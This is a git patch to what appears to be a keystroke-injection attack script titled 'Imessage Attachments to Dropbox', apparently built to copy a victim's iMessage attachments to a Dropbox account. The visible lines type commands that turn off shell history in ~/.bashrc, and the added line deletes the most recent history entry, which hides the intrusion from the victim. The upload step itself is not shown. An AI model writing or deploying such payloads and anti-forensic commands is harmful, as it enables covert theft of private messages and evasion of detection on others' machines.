From 33c1104f7ba4795eb74995e39e9c1919f593ef9b Mon Sep 17 00:00:00 2001 From: Narsty Date: Thu, 22 Jun 2023 22:49:35 -0500 Subject: [PATCH] Update Imessage Attachments to Dropbox.txt --- Executions/Imessage Attachments to Dropbox.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/Executions/Imessage Attachments to Dropbox.txt b/Executions/Imessage Attachments to Dropbox.txt index 3dd7cf7..c86f72c 100644 --- a/Executions/Imessage Attachments to Dropbox.txt +++ b/Executions/Imessage Attachments to Dropbox.txt @@ -49,6 +49,7 @@ DELAY 1000 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') DELAY 500 ENTER DELAY 500